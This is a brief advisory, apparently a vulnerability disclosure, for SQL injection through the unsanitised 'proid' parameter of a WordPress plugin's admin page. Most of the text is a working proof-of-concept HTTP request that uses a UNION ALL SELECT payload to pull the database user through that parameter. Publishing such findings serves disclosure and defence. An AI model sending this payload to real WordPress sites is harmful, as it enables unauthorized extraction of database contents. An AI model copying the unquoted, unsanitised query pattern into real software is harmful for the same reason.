A proid GET parameter of the plugin is not sanitised, properly escaped or validated before inserting to a SQL statement not delimited by quotes, leading to SQL injection.
GET /wp-admin/options-general.php?page=ws_alipay&action;=edit&proid;=-5818%20UNION%20ALL%20SELECT 73,73,73,73,73,user(),73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73%23 HTTP/1.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-GPC: 1 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: [admin] Connection: close